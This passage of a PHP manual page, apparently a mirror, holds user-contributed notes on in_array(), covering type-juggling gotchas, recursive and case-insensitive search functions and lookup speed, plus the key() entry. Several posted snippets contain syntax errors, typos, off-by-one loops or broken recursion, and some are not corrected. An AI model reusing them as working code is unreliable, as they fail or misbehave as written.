       else $ret = ($case_insensitive) ? strtolower($item)==$value : $item==$value;
       if($ret)return $ret;
   }
   return false;
}
?>
Imre Pntek
05-Apr-2006 05:04
Beware that "Good morning"==0, so
<?php

$m=array(0,"Hello");
var_dump(in_array("Good morning",$m));

?>
will output
bool(true)
so you will need to set strict.
contact at simplerezo dot com
25-Feb-2006 12:06
Optimized in_array insensitive case function:

function in_array_nocase($search, &$array) {
  $search = strtolower($search);
  foreach ($array as $item)
   if (strtolower($item) == $search)
     return TRUE;
  return FALSE;
}
sandrejev at gmail dot com
22-Feb-2006 11:11
Sorry, that deep_in_array() was a bit broken.

<?
function deep_in_array($value, $array) {
   foreach($array as $item) {
       if(!is_array($item)) {
           if ($item == $value) return true;
           else continue;
       }

       if(in_array($value, $item)) return true;
       else if(deep_in_array($value, $item)) return true;
   }
   return false;
}
?>
sandrejev at gmail dot com
22-Feb-2006 02:21
Deep search form value

<?php
function deep_in_array($value, $array) {
   foreach($array as $item) {
       if(!is_array($item)) continue;
       if(in_array($value, $item)) return true;
       else if(deep_in_array($value, $item)) return true;
   }

   return false;
}
?>
czeslaw
18-Feb-2006 09:19
Searching multi arrays:

   function array_multi_search( $p_needle, $p_haystack )
   {
       if( !is_array( $p_haystack ) )
       {
           return false;
       }

       if( in_array( $p_needle, $p_haystack ) )
       {
           return true;
       }

       foreach( $p_haystack as $row )
       {
           if( array_multi_search( $p_needle, $row ) )
           {
               return true;
           }
       }

       return false;
   }
kitchin
05-Feb-2006 10:52
Here's a gotcha, and another reason to always use strict with this function.

$x= array('this');
$test= in_array(0, $x);
var_dump($test); // true

$x= array(0);
$test= in_array('that', $x);
var_dump($test); // true

$x= array('0');
$test= in_array('that', $x);
var_dump($test); // false

It's hard to think of a reason to use this function *without* strict.

This is important for validating user input from a set of allowed values, such as from a <select> tag.
eddie AT eddie punto cl
16-Jan-2006 09:07
The code in the note below didn't work for me the way i thought it would.
I had problems when it enter into the recursive array, if it found the needle it will return true, but the parent in_arrayr would not return true also.
so here is my correction to that function

<?php
function in_arrayr($needle, $haystack) {
   foreach ($haystack as $value) {
       if ($needle == $value) return true;
       elseif (is_array($value))
           if (in_arrayr($needle, $value))
               return true;
   }
   return false;
}
?>
com.hotmail@backglancer
15-Jan-2006 12:20
correction to the function below, the second return is bogous
here's my tweaked version

<?PHP
function in_arrayr($needle, $haystack) {
       foreach ($haystack as $value) {
               if ($needle == $value) return true;
               elseif (is_array($value)) in_arrayr($needle, $value);
       }
       return false;
}
?>
14-Jan-2006 01:44
in_arrayr -- Checks if the value is in an array recursively

Description
bool in_array (mixed needle, array haystack)

<?
function in_arrayr($needle, $haystack) {
       foreach ($haystack as $v) {
               if ($needle == $v) return true;
               elseif (is_array($v)) return in_arrayr($needle, $v);
       }
       return false;
}
// i think it works
?>
SBoisvert at Bryxal dot ca
11-Jan-2006 11:18
Many comments have pointed out the lack of speed of in_array (with a large set of items [over 200 and you'll start noticing) the algorithm is (O)n. You can achieve an immense boost of speed on changin what you are doing.

lets say you have an array of numerical Ids and have a mysql query that returns ids and want to see if they are in the array. Do not use the in array function for this you could easily do this instead.

if (isset($arrayOfIds[$Row['Id']))

to get your answer now the only thing for this to work is instead of creating an array like such

$arrayOfIds[] = $intfoo;
$arrayOfIds[] = $intfoo2;

you would do this:

$arrayOfIds[$intfoo] = $intfoo;
$arrayOfIds[$intfoo2] = $intfoo2;

The technical reason for this is array keys are mapped in a hash table inside php. wich means you'll get O(1) speed.

The non technical explanation is before is you had 100 items and it took you 100 microseconds for in_array with 10 000 items it would take you 10 000 microseconds. while with the second one it would still take you 100 microsecond if you have 100 , 10 000 or 1 000 000 ids.

(the 100 microsecond is just a number pulled out of thin air used to compare and not an actual time it may take)
juanjo
26-Nov-2005 06:59
Alternative method to find an array within an array with the haystack key returned

function array_in_array($needle, $haystack) {
  foreach ($haystack as $key => $value) {
   if ($needle == $value)
     return $key;
  }
  return false;
}
adrian foeder
08-Nov-2005 05:21
hope this function may be useful to you, it checks an array recursively (if an array has sub-array-levels) and also the keys, if wanted:

<?php
function rec_in_array($needle, $haystack, $alsokeys=false)
   {
       if(!is_array($haystack)) return false;
       if(in_array($needle, $haystack) || ($alsokeys && in_array($needle, array_keys($haystack)) )) return true;
       else {
           foreach($haystack AS $element) {
               $ret = rec_in_array($needle, $element, $alsokeys);
           }
       }

       return $ret;
   }
?>
mano at easymail dot hu
01-Nov-2005 07:19
Note, that in php's comparison table it says "php"==0 is true, so if:
(second table: http://www.php.net/manual/en/types.comparisons.php)

<?php

$foo = in_array(0, array("x", "y")); // foo is TRUE!!!!! AAAH!

?>

because 0 and any string is equal. Of course, 0==="php" is not equal, false, but 0==="0" false too.

nice comparison tables by the way...

.mano
jpwaag at jpwaag dot com
25-Oct-2005 08:51
In case you want to check if multiple values are in your array, you can use this function:
<?php
function array_values_in_array($needles, $haystack) {
   if(is_array($needles)){
       $valid=true;
       foreach($needles as $needle){
           if(!in_array($needle, $haystack)){
               $valid=false;
           }
       }
       return $valid;
   }else{
       return in_array($needles, $haystack);
   }
}
//for example
$needles=array('ubuntu', 'gentoo', 'suse');
$haystack=array('ubuntu', 'gentoo', 'suse', 'knoppix', 'fedora', 'debian');
if(array_values_in_array($needles, $haystack)){
   echo 'All the values of $needles are in $haystack';
}else{
   echo 'Some values of $needles are not in $haystack';
}

?>
adunaphel at il dot fontys dot nl
21-Oct-2005 05:48
a rewrite of alex at alexelectronics dot com's code, with the strict option added and some slight improvements in speed and readability:
<?php
  function in_multi_array ($needle, $haystack, $strict) {
   if ($strict) {
     foreach ($haystack as $item) {
       if (is_array ($item)) {
         if (in_multi_array ($needle, $item, $strict)) {
           return true;
         }
       } else {
         if ($needle === $item) {
           return true;
         }
       }
     }
   } else {
     foreach ($haystack as $item) {
       if (is_array ($item)) {
         if (in_multi_array ($needle, $item, $strict)) {
           return true;
         }
       } else {
         if ($needle == $item) {
           return true;
         }
       }
     }
   }
   return false;
  }
?>
evildictaitor at hotmail dot com
13-Oct-2005 11:06
To look through a large array, it is much more efficient when it is sorted to use a binary chop method, so that the number of calls is equal to log(number_of_values_in_array) / log2 rather than equal to the number of values in the array.

For a million values in an array, it can therefore return whether this index exists in a file using no more than 20 calls to the array rather than a million. This makes it 50,000 times more efficient for an array of this size. I'm sure you can imagine what a million calls can do to a processor, and it isn't nice.

Hope this helps someone.
wcc at techmonkeys dot org
23-Sep-2005 10:04
<?php
/**
 * Search for a key and value pair in the second level of a multi-dimensional array.
 *
 * @param array multi-dimensional array to search
 * @param string key name for which to search
 * @param mixed value for which to search
 * @param boolean preform strict comparison
 * @return boolean found
 * @access public
 */
function findKeyValuePair($multiArray, $keyName, $value, $strict = false)
{
   /* Doing this test here makes for a bit of redundant code, but
     * improves the speed greatly, as it is not being preformed on every
     * iteration of the loop.
     */
   if (!$strict)
   {
       foreach ($multiArray as $multiArrayKey => $childArray)
       {
           if (array_key_exists($keyName, $childArray) &&
               $childArray[$keyName] == $value)
           {
               return true;
           }
       }
   }
   else
   {
       foreach ($multiArray as $multiArrayKey => $childArray)
       {
           if (array_key_exists($keyName, $childArray) &&
               $childArray[$keyName] === $value)
           {
               return true;
           }
       }
   }

   return false;
}
?>
tacone at gmx dot net
03-Aug-2005 10:05
Beware of type conversion!

This snippet will unset every 0 key element form the array, when cycling an array which contains at least one _num value.
This is because php tries to convert every element of $forbidden_elements to integer when encountering a numeric index into array.
So $array[0] it's considered equal to (int)'_num'.

<?php
$forbidden_elements=array('_num');
   foreach ($array as $key=>$value){
       if (in_array($key,$forbidden_elements)){
               unset ($array[$key]);
           }
}
?>

The following example works, anway you can use strict comparison as well.

<?php
$forbidden_elements=array('_num');
   foreach ($array as $key=>$value){
       if (in_array($key,$forbidden_elements) && is_string($key)){
               unset ($array[$key]);
           }
}
?>
alex at alexelectronics dot com
12-Jul-2005 12:42
Actually, that should be

<?PHP
function in_multi_array($needle, $haystack) {
   $in_multi_array = false;
   if(in_array($needle, $haystack)) {
       $in_multi_array = true;
   } else {
       foreach ($haystack as $key => $val) {
           if(is_array($val)) {
               if(in_multi_array($needle, $val)) {
                   $in_multi_array = true;
                   break;
               }
           }
       }
   }
   return $in_multi_array;
}
?>
rob at bronco dot co dot uk
01-Jul-2005 08:23
For the "rediculous behaviour", a populated array is bool(true). This is documented.

<?php
var_dump((bool)Array(false)); // bool(true)
var_dump((bool)Array()); // bool(false)
?>
alex at alexelectronics dot com
01-Jul-2005 12:24
A foreach would be simpler for a multi-dimensional array search (and probably faster, since you an use the value instead of the index).  Like this:

<?PHP
function in_multi_array($needle, $haystack) {
   $in_multi_array = false;
   if(in_array($needle, $haystack)) {
       $in_multi_array = true;
   } else {
       foreach $haystack as ($key => $val) {
           if(is_array($val)) {
               if(in_multi_array($needle, $val)) {
                   $in_multi_array = true;
                   break;
               }
           }
       }
   }
   return $in_multi_array;
}
?>

Using is_array($val) is probably faster than using is_array($haystack[$key])
Aragorn5551 at gmx dot de
11-Jun-2005 08:26
If you have a multidimensional array filled only with Boolean values like me, you need to use 'strict', otherwise in_array() will return an unexpected result.

Example:
<?
$error_arr = array('error_one' => FALSE, 'error_two' => FALSE, array('error_three' => FALSE, 'error_four' => FALSE));

if (in_array (TRUE, $error_arr)) {
   echo 'An error occurred';
}
else {
   echo 'No error occurred';
}
?>

This will return 'An error occurred' although theres no TRUE value inside the array in any dimension. With 'strict' the function will return the correct result 'No error occurred'.

Hope this helps somebody, cause it took me some time to figure this out.
19-May-2005 10:12
Note that most array searching functions patterned (needle, haystack) and string searching functions are patterned (haystack, needle).
greg at serberus dot co dot uk
17-May-2005 08:49
Further to my previous post this may prove to be more efficient by eliminating the need for array_flip() on each iteration.

$distinct_words = array();

foreach ($article as $word) {

  if (!isset($distinct_words[$word]))
     $distinct_words[$word] = count($distinct_words);

}

$distinct_words = array_flip($distinct_words);
greg at serberus dot co dot uk
13-May-2005 10:50
in_array() doesn't seem to scale very well when the array you are searching becomes large. I often need to use in_array() when building an array of distinct values. The code below seems to scale better (even with the array_flip):

$distinct_words = array();

foreach ($article as $word) {

  $flipped = array_flip($distinct_words);

  if (!isset($flipped[$word]))
     $distinct_words[] = $word;

}

This only works with arrays that have unique values.
09-Mar-2005 10:15
I'd have to disagree with the previous poster.  The behavior is not "completely as expected."  If I do not know what data is in an array, and I search for the value "123abc", I certainly don't expect it to match the integer 123.  I expect it to match the string "123abc," period.  The needle should not be converted for the sake of comparison!  In the case of a string in the haystack or needle, the other value should be converted to a string before comparison.  This guarantees only equivalent values will be matched.

This kind of behavior is the reason I always use === in PHP instead of ==.  Too many things match otherwise.  Luckily, the "strict" option here gives the right results.

-Dan
Chris
08-Mar-2005 06:02
I hope everyone sees that the previous poster's comments are incorrect, in that the behavior is not ridiculous but completely as expected.

> in_array('123abc', array(123)) returns true
A string is being compared to an integer, in such a situation PHP assumes an integer context wherein '123abc' evaluates to the integer 123, thus a match.

> in_array('123abc', array('123')) returns false
A string is being compared to a string and OBVIOUSLY these strings are not equal.
23-Dec-2004 06:51
Please note this very ridiculous behaviour:

in_array('123abc', array(123)) returns true

in_array('123abc', array('123')) returns false

I guess this is because it is converting '123abc' to an int.
memandeemail at gmail dot com
17-Nov-2004 11:55
Some very helpfuly variant's, of functions:

class shared {
   /**lordfarquaad at notredomaine dot net 09-Sep-2004 11:44
   * @return bool
   * @param mixed $needle
   * @param mixed $haystack
   * @desc This function will be faster, as it doesn't compare all elements, it stops when it founds the good one. It also works if $haystack is not an array :-)
   */

   function in_array_multi($needle, $haystack)
   {
       if(!is_array($haystack)) return $needle == $haystack;
       foreach($haystack as $value) if(shared::in_array_multi($needle, $value)) return true;
       return false;
   }

   /**lordfarquaad function's variant1
   * @return bool
   * @param string $needle_key
   * @param mixed $haystack
   * @desc Search a key in the array and return if founded or not.
   */

   function in_array_key_multi($needle_key, $haystack)
   {
       if(!is_array($haystack)) return $needle_key == $haystack;
       foreach($haystack as $key => $value)
       {
           $value; // TODO: Extract the $key without seting $value
           if(shared::in_array_key_multi($needle_key, $key)) return true;
       }
       return false;
   }

   /**lordfarquaad function's variant2
   * @return bool
   * @param string $needlekey
   * @param mixed $needlevalue
   * @param mixed[optional] $haystack_array
   * @param string[optional] $haystack_key
   * @param mixed[optional] $haystack_value
   * @desc Search in array for the key and value equal.
   */
   function in_array_multi_and_key($needlekey, $needlevalue, $haystack_array = null, $haystack_key = null, $haystack_value = null)
   {
       if (!is_array($haystack_array)) return ($needlekey == $haystack_key and $needlevalue == $haystack_value);
       foreach ($haystack_array as $key => $value) if (shared::in_array_multi_and_key($needlekey, $needlevalue, $value, $key, $value)) return true;
       return false;
   }
}

HOW TO USE:

shared::in_array_multi(......)

it's very simple.
langewisch at lakoma dot com
04-Nov-2004 06:13
Hi,

if you want to search a value in a mutidimensional array try this.

Cu
Christoph

-------------------------------
<?
function in_multi_array($search_str, $multi_array)
{
   if(!is_array($multi_array))
       return 0;
   if(in_array($search_str, $multi_array))
       return 1;

   foreach($multi_array as $key => $value)
   {
       if(is_array($value))
       {
           $found = in_multi_array($search_str, $value);
           if($found)
               return 1;

       }
       else
       {
           if($key==$search_str)
               return 1;
       }
   }
   return 0;
}
?>
lordfarquaad at notredomaine dot net
10-Sep-2004 10:44
This function will be faster, as it doesn't compare all elements, it stops when it founds the good one. It also works if $haystack is not an array :-)

<?php
function in_array_multi($needle, $haystack)
{
   if(!is_array($haystack)) return $needle == $haystack;
   foreach($haystack as $value) if(in_array_multi($needle, $value)) return true;
   return false;
}
?>
<Marco Stumper> phpundhtml at web dot de
09-Sep-2004 10:49
Here is a function to search a string in multidimensional Arrays(you can have so much dimensions as you like:
function in_array_multi($needle, $haystack)
{
   $found = false;
   foreach($haystack as $value) if((is_array($value) && in_array_multi($needle, $value)) || $value == $needle) $found = true;
   return $found;
}

It is a little shorter than the other function.
mina86 at tlen dot pl
17-Aug-2004 10:16
A better (faster) version:
<?php
function in_array ($item, $array) {
   $item = &strtoupper($item);
   foreach($array as $element) {
       if ($item == strtoupper($element)) {
           return true;
       }
   }
   return false;
}
?>

Noah B, set the 3rd argument to true and everything will wokr fine :) 0 == 'foo' is true, however 0 === 'foo' is not.
php at NOSPAM dot fastercat dot com
25-Apr-2004 05:54
The description of in_array() is a little misleading. If needle is an array, in_array() and array_search() do not search in haystack for the _values_ contained in needle, but rather the array needle as a whole.

$needle = array(1234, 5678, 3829);
$haystack = array(3829, 20932, 1234);

in_array($needle, $haystack);
--> returns false because the array $needle is not present in $haystack.

Often people suggest looping through the array $needle and using in_array on each element, but in many situations you can use array_intersect() to get the same effect (as noted by others on the array_intersect() page):

array_intersect($needle, $haystack);
--> returns array(1234). It would return an empty array if none of the values in $needle were present in $haystack. This works with associative arrays as well.
fierojoe at fierojoe dot com
24-Mar-2004 05:03
I couldn't find an easy way to search an array of associative arrays and return the key of the found associative array, so I created this little function to do it for me. Very handy for searching through the results of a mysql_fetch_assoc()

<?php

$a = array(
  array('id' => 1, 'name' => 'oranges'),
  array('id' => 2, 'name' => 'apples'),
  array('id' => 3, 'name' => 'coconuts'),
);

function _array_search($s, $a) {
  for($i=0; $i <= count($a); $i++) {
   if (in_array($s, $a[$i])) {
     return($i);
     break;
   }
  }
  return(FALSE);
}

//returns key 0 for the second element, 'id' => 1
  echo _array_search(1, $a);

//returns key 2 for the second element, 'id' => 3
  echo _array_search(3, $a);

//returns key 1 for the second element, 'id' => 2
  echo _array_search(2, $a);

?>
zapher at cae dot hl2files dot com
26-Feb-2004 04:59
I corrected one_eddie at tenbit dot pl 's  case-insensitive-script... It kinda didn't work :p

function in_array_cin($strItem, $arItems)
{
   $bFound = FALSE;
   foreach ($arItems as $strValue)
   {
       if (strtoupper($strItem) == strtoupper($strValue))
       {
           $bFound = TRUE;
       }
   }
   echo $bFound;
}
sean at natoewal dot nl
21-Feb-2004 08:56
For searching an object in array I made the ObjectArray class. An instance of this class is an array which contains the objects as strings which makes searching for objects possible.

<?php
class ObjectArray {
   var $objectArray = array();
   function ObjectArray() {

   }
   function inArray($object) {
       $needle = $this->object2String($object);
       return in_array($needle, $this->objectArray);
   }
   function object2String($object) {
       $str = "";
       $vars = get_object_vars($object);
       foreach ($vars as $value)
           $str .= (is_object($value)) ? $this->object2String($value) : $value;
       return $str;
   }
   function addObject($object) {
       $str = $this->object2String($object);
       array_push($this->objectArray, $str);
   }
}
?>

You can use this class like:

<?php
$objectArray = new ObjectArray();
$myFirstCar = new Car("brown", 20);
$objectArray->addObject($myFirstCar);
$mySecondCar = new Car("red", 160);
$objectArray->addObject($mySecondCar);
?>

This example uses the Car class:

<?php
class Car {
   var $color;
   var $speed;
   function Car($color, $speed) {
       $this->color = $color;
       $this->speed = $speed;
   }
}
?>

The next code shows an example if we were searching for my first car:

<?php
if ($objectArray->inArray($myFirstCar)) {
  echo "I've found your first car!";
}
?>
one_eddie at tenbit dot pl
10-Feb-2004 09:16
I found no sample with case-insensitive in_array. Here's one i wrote:

function in_array_cin($strItem, $arItems)
{
   $bFound = FALSE;
   foreach ($arItems as str$Value)
   {
       if (strtpupper($strItem) == strtoupper($strValue))
           $bFound = TRUE;
   }
   return $bFound;
}
Frank Strter
15-Jan-2004 01:08
I forgot ta add $value === $needle instead of $value == $needle. The first one does a strict check. Thanks to the note by michi I have reduced the function to:

<?php

function in_array_multi($needle, $haystack) {
   if (!is_array($haystack)) return false;
   while (list($key, $value) = each($haystack)) {
       if (is_array($value) && in_array_multi($needle, $value) || $value === $needle) {
           return true;
       }
   }
   return false;
}

?>
mark at x2software dot net
10-Jan-2004 02:11
Reply/addition to melissa at hotmail dot com's note about in_array being much slower than using a key approach: associative arrays (and presumably normal arrays as well) are hashes, their keys are indexed for fast lookups as the test showed. It is often a good idea to build lookup tables this way if you need to do many searches in an array...

For example, I had to do case-insensitive searches. Instead of using the preg_grep approach described below I created a second array with lowercase keys using this simple function:

<?php
/**
 * Generates a lower-case lookup table
 *
 * @param array  $array      the array
 * @return array              an associative array with the keys being equal
 *                            to the value in lower-case
*/
function LowerKeyArray($array)
{
  $result = array();

  reset($array);
  while (list($index, $value) = each($array))
  {
   $result[strtolower($value)] = $value;
  }

  return $result;
}
?>

Using $lookup[strtolower($whatyouneedtofind)] you can easily get the original value (and check if it exists using isset()) without looping through the array every time...
gphemsley at users dot sourceforge dot net
02-Jan-2004 03:18
For those of you who need in_array() for PHP3, this function should do the trick.

<?php

function in_array( $needle, $haystack, $strict = FALSE )
{
   @reset( $haystack );

   while( @list( , $value ) = @each( $haystack ) )
   {
       if( $needle == $value )
       {
           if( $strict && ( gettype( $needle ) != gettype( $value ) ) )
           {
               return FALSE;
           }
           else
           {
               return TRUE;
           }
       }
   }

   return FALSE;
}

?>
Lee Benson
08-Nov-2003 07:36
If you're trying to compare a variable against several possible other variables, like this...

if ($var == 1 || $var == 2 || $var == 3 || $var == 4) {

   // do this

}

You can make your code a lot neater by doing this:

if (in_array($var,array(1,2,3,4))) {

  // do this

}

This way, you're not repeating the "$var == x ||" part of your expression over and over again.

If you've used MySQL's IN() function for searching on multiple values, you'll probably appreciate using this code in your PHP scripts.

Hope this helps a few people.
michi at F*CKSPAM michianimations dot de
27-Oct-2003 08:47
This is another solution to multi array search. It works with any kind of array, also privides to look up the keys instead of the values - $s_key has to be 'true' to do that - and a optional 'bugfix' for a PHP property: keys, that are strings but only contain numbers are automatically transformed to integers, which can be partially bypassed by the last paramter.

function multi_array_search($needle, $haystack, $strict = false, $s_key = false, $bugfix = false){

   foreach($haystack as $key => $value){

       if($s_key) $check = $key;
       else      $check = $value;

       if(is_array($value) &&
           multi_array_search($needle, $value, $strict, $s_key) || (

             $check == $needle && (

               !$strict ||
               gettype($check)  == gettype($needle) ||
               $bugfix  &&
               $s_key  &&
               gettype($key)    == 'integer' &&
               gettype($needle) == 'string'

             )
           )
       )

       return true;

   }

   return false;

}
morten at nilsen dot com
13-Aug-2003 01:00
either the benchmark I used, or the one used in an earlier comment is flawed, or this function has seen great improvement...

on my system (a Duron 1GHz box) the following benchmark script gave me pretty close to
1 second execution time average when used with 355000 runs of in_array() (10 runs)

<?php
  $average = 0;
  for ($run=0;$run<10;++$run) {
   $test_with=array(
1=>array(explode(":",
":1:2:3:4:5:6:7:8:9:10:11:12:13:14:15:")),
2=>array(explode(":",
":21:22:23:24:25:26:27:28:29:210:211:212:213:214:215:")),
3=>array(explode(":",
":14:15:23:24:25:26:27:28:29:210:211:212:213:214:215:"))
   );
   $start = microtime();
   for($i=0;$i<=355000;++$i) { in_array($i, $test_with); }
   $end = microtime();
   $start = explode(" ",$start);
   $end = explode(" ",$end);
   $start = $start[1].trim($start[0],'0');
   $end  = $end[1].trim($end[0],'0');
   $time  = $end - $start;
   $average += $time;
   echo "run $run: $time<br>";
  }
  $average /= 10;
  echo "average: $average";
?>
jr at jrmanes dot com
01-Aug-2003 02:35
/*
 ** A function that checks to see if a string in an array
 ** exists in a string.
 ** example:
 **  $string = "My name is J.R.";
 **  $array = array("Mike", "Joe", "Bob", "J.R.");
 **  if (arrayinstr($string, $array)) echo "Found it!";
 */

function arrayinstr($haystack, $needle) {
   $foundit = false;
   foreach($needle as $value) {
     if (!strpos($haystack, $value) === false)
         $foundit = true;
   }
   return $foundit;
}
raphinou at yahoo dot Com
23-Mar-2003 07:45
If the haystack contains the boolean true, in_array returns true!!
Check this (PHP 4.2.3-8 debian package) :

<?php
$r=array("fzsgsdgsd","reazrazr","rezarzearzae",true);
$ret=in_array("tsuser_id",$r);

print "<H1>__ $ret __</H1>";

}

?>
greg at serberus dot co dot uk
01-Feb-2003 08:48
With in_array() you need to specify the exact value held in an array element for a successful match. I needed a function where I could see if only part of an array element matched so I wrote this function to do it, it also searches keys of the array if required (only useful for associative arrays). This function is for use with strings:

function inarray($needle, $array, $searchKey = false)
{
   if ($searchKey) {
       foreach ($array as $key => $value)
           if (stristr($key, $needle)) {
               return true;
           }
       }
   } else {
       foreach ($array as $value)
           if (stristr($value, $needle)) {
               return true;
           }
       }
   }

   return false;
}
gordon at kanazawa-gu dot ac dot jp
08-Jan-2003 09:05
case-insensitive version of in_array:

function is_in_array($str, $array) {
  return preg_grep('/^' . preg_quote($str, '/') . '$/i', $array);
}
melissa at hotmail dot com
27-Dec-2002 04:53
With a bit of testing I've found this function to be quite in-efficient...

To demonstrate... I tested 30000 lookups in a consistant environment.  Using an internal stopwatch function I got approximate time of over 1.5 mins using the in_array function.

However, using an associative array this time was reduced to less than 1 second...

In short... Its probably not a good idea to use in_array on arrays bigger than a couple of thousand...

The growth is exponential...

 values
             in_array            assocative array
1000      00:00.05                  00:00.01
10000    00:08.30                  00:00.06
30000    01:38.61                  00:00.28
100000  ...(over 15mins)....    00:00.64

Example Code... test it out for yourself...:
//=============================================
$Count = 0;
$Blah = array();

while($Count<30000)
{
   if(!$Blah[$Count])
       $Blah[$Count]=1;

   $Count++;
}

echo "Associative Array";

$Count = 0;
$Blah = array();

while($Count<30000)
{
       if(!in_array($Count, $Blah))
           $Blah[] = $Count;

       $Count++;
}

echo "In_Array";
//=============================================
pingjuNOSPAM at stud dot NOSPAM dot ntnu dot no
25-Nov-2002 10:56
if the needle is only a part of an element in the haystack, FALSE will be returned, though the difference maybe only a special char like line feeding (\n or \r).
bbisgod AT hotmail DOT com
01-Oct-2002 08:17
I had a HUGE problem of comparing references to see if they were pointing to the same object.

I ended up using this code!

function in_o_array (&$needle, &$haystack) {
  if (!is_array($haystack)) return false;
  foreach ($haystack as $key => $val) {
   if (check_refs($needle, $haystack[$key])) return true;
  }
  return false;
}

function check_refs(&$a, &$b) {
  $tmp = uniqid("");
  $a->$tmp = true;
  $bResult = !empty($b->$tmp);
  unset($a->$tmp);
  return $bResult;
}

Hope this helps someone have a more productive morning that me! :P
leighnus at mbox dot com dot au
21-Aug-2002 03:18
Alternative method to find an array within an array (if your version of php doesn't support array type $needles):

function array_in_array($needle, $haystack) {
  foreach ($haystack as $value) {
   if ($needle == $value)
     return true;
  }
  return false;
}
tom at orbittechservices dot com
10-Aug-2002 10:17
I searched the general mailing list and found that in PHP versions before 4.2.0 needle was not allowed to be an array.

Here's how I solved it to check if a value is in_array to avoid duplicates;

$myArray = array(array('p', 'h'), array('p', 'r'));

$newValue = "q";
$newInsert = array('p','q');

$itBeInThere = 0;
foreach ($myArray as $currentValue) {
  if (in_array ($newValue, $currentValue)) {
   $itBeInThere = 1;
  }
if ($itBeInThere != 1) {
  array_unshift ($myArray, $newInsert);
}
robe_NO_SPAM at post_NO_SPAM dot cz
06-Aug-2002 06:32
In contribution of <jon@gaarsmand.dk>:

 I think we should use more general approach while walking through array, so instead your 'for' loop I'd suggest while list.. as follows:

function in_multi_array($needle, $haystack) //taken from php.net, adapted                                            {                                                                                                                                                                                                                                            $in_multi_array = false;                                                                                                if(in_array($needle, $haystack))                                                                                        {                                                                                                                    $in_multi_array = true;                                                                                            }                                                                                                                    else                                                                                                                {                                                                                                                                                                                    while (list($tmpkey,$tmpval) = each ($haystack))                                                                        //here is the change
{                                                                                                          if(is_array($haystack[$tmpkey])){                                                                                          if (in_multi_array($needle, $haystack[$tmpkey]))                                                                            {                                                                                                                    $in_multi_array = true;                                                                                              break;                                                                                                              }                                                                                                            }                                                                                                            }                                                                                                                }                                                                                                          return $in_multi_array;                                                                                          }

I hope code is readible, some problems with formatting occured.
nicolaszujev at hot dot ee
20-Jul-2002 12:40
I wrote this function to check key in array and also check value if it exists...

function in_array_key($key, $array, $value = false)
{
   while(list($k, $v) = each($array))
   {
       if($key == $k)
       {
           if($value && $value == $v)
               return true;
           elseif($value && $value != $v)
               return false;
           else
               return true;
       }
   }
   return false;
}

.. very helpful function ...
02-Jul-2002 03:22
Looking at in_array, and array_search, I made up this small little example that does exactly what _I_ want.

<?php
$online = array ("1337", "killer", "bob");
$find = array ("Damien", "bob", "fred", "1337");

while (list ($key, $val) = each ($find)) {
  if (in_array ($val, $online)) {
   echo $val . "<br>";
  }
}
?>

Look for all instances of $find in $online. and print the element that was found.
penneyda at hotmail dot com
26-Jun-2002 02:23
If you are using in_array() to search through a file using the file() function, it seems you have to add the line break "\n".  It took me forever to figure out what the deal was.

Example:

$new_array = file("testing.txt");

if(in_array("$word_one : $word_two\n", $new_array))
   {
   print("success");
   exit;
   }
else
   {
   print("failure");
   exit;
   }

I just started learning PHP, but let me know if I have not figured this out correctly
one at groobo dot com
08-May-2002 06:14
Sometimes, you might want to search values in array, that does not exist. In this case php will display nasty warning:
Wrong datatype for second argument in call to in_array() .

In this case, add a simple statement before the in_array function:

if (sizeof($arr_to_searchin) == 0 || !in_array($value, $arr_to_searchin)) { ... }

In this case, the 1st statement will return true, omitting the 2nd one.
jon at gaarsmand dot dk
09-Apr-2002 11:53
If you want to search a multiple array for a value - you can use this function - which looks up the value in any of the arrays dimensions (like in_array() does in the first dimension).
Note that the speed is growing proportional with the size of the array - why in_array is best if you can determine where to look for the value.

Copy & paste this into your code...

function in_multi_array($needle, $haystack)
{
   $in_multi_array = false;
   if(in_array($needle, $haystack))
   {
       $in_multi_array = true;
   }
   else
   {
       for($i = 0; $i < sizeof($haystack); $i++)
       {
           if(is_array($haystack[$i]))
           {
               if(in_multi_array($needle, $haystack[$i]))
               {
                   $in_multi_array = true;
                   break;
               }
           }
       }
   }
   return $in_multi_array;
}
add a note add a note

后退 | 起点 | 前进
extract | 上一级 | key


key

(PHP 3, PHP 4, PHP 5)

key -- 从关联数组中取得键名

说明

mixed key ( array &array )

key() 返回数组中当前单元的键名。

例子 1. key() 例子

<?php
$array = array(
'fruit1' => 'apple',
'fruit2' => 'orange',
'fruit3' => 'grape',
'fruit4' => 'apple',
'fruit5' => 'apple');

// this cycle echoes all associative array
// key where value equals "apple"
while ($fruit_name = current($array)) {
    if ($fruit_name == 'apple') {
        echo key($array).'<br />';
    }
    next($array);
}
?>

参见 current() 和 next()。

add a note add a note User Contributed Notes
danny at dannymendel dot com
12-Apr-2006 11:41
An auto incremental key value function, returning the key value:

<?
function add_key ($value, $array) // returns the key of the value added or existing already within the array
{
   if (is_array ($array))
   {
       if (!in_array ($value, $array))
       {
           ksort ($array);

           end ($array);

           $key = key ($array) + 1;

           $array[$key] = $value;
       }
       else
       {
           $key = array_search ($value, $array);
       }
   }
   else
   {
       $key = 1;

       $array[$key] = $value;
   }
   return $key;
}
?>
php_notes at ionws dot com
11-Oct-2005 07:17
Note that key($array) returns NULL if $array's internal pointer goes past the end of the array.  For example, the following code:

<?php
$arr = array(
   'one' => '1',
   'two' => '2',
   'three' => '3',
   'four' => '4',
   'five' => '5');

for ($i = 0; $i < 10; $i++) {
   var_dump(key($arr));
   next($arr);
}
?>

results in:
string(3) "one"
string(3) "two"
string(5) "three"
string(4) "four"
string(4) "five"
NULL
NULL
NULL
NULL
NULL
Danniel@t h e - police (d'0't) com
22-May-2005 04:55
To get the key name by position from Array:
<?php
$myArray['name1']=3;
$myArray['name2']=2;
$myArray['name3']=1;

echo($myArray[1]);  /* return NULL */
/* isset($myArray[1]) return false;  */
/* is_null($myArray[1]) return true;  */

function KeyName($myArray,$pos) {
   // $pos--;
   /* uncomment the above line if you */
   /* prefer position to start from 1 */

   if ( ($pos < 0) || ( $pos >= count($myArray) ) )
         return "NULL";  // set this any way you like

   reset($myArray);
   for($i = 0;$i < $pos; $i++) next($myArray);

   return key($myArray);
}

echo KeyName($myArray,1);  // result: name2
echo KeyName($myArray,2);  // result: name3
echo KeyName($myArray,3);  // result: "NULL"
?>

You can get any existing "key name" from array that is located at position $pos gived as second parameter. If no element is defined at given position the function will return the string "NULL".
Danniel@t h e - police (d'0't) com
22-May-2005 04:55
To get the key name by position from Array:
<?php
$myArray['name1']=3;
$myArray['name2']=2;
$myArray['name3']=1;

echo($myArray[1]);  /* return NULL */
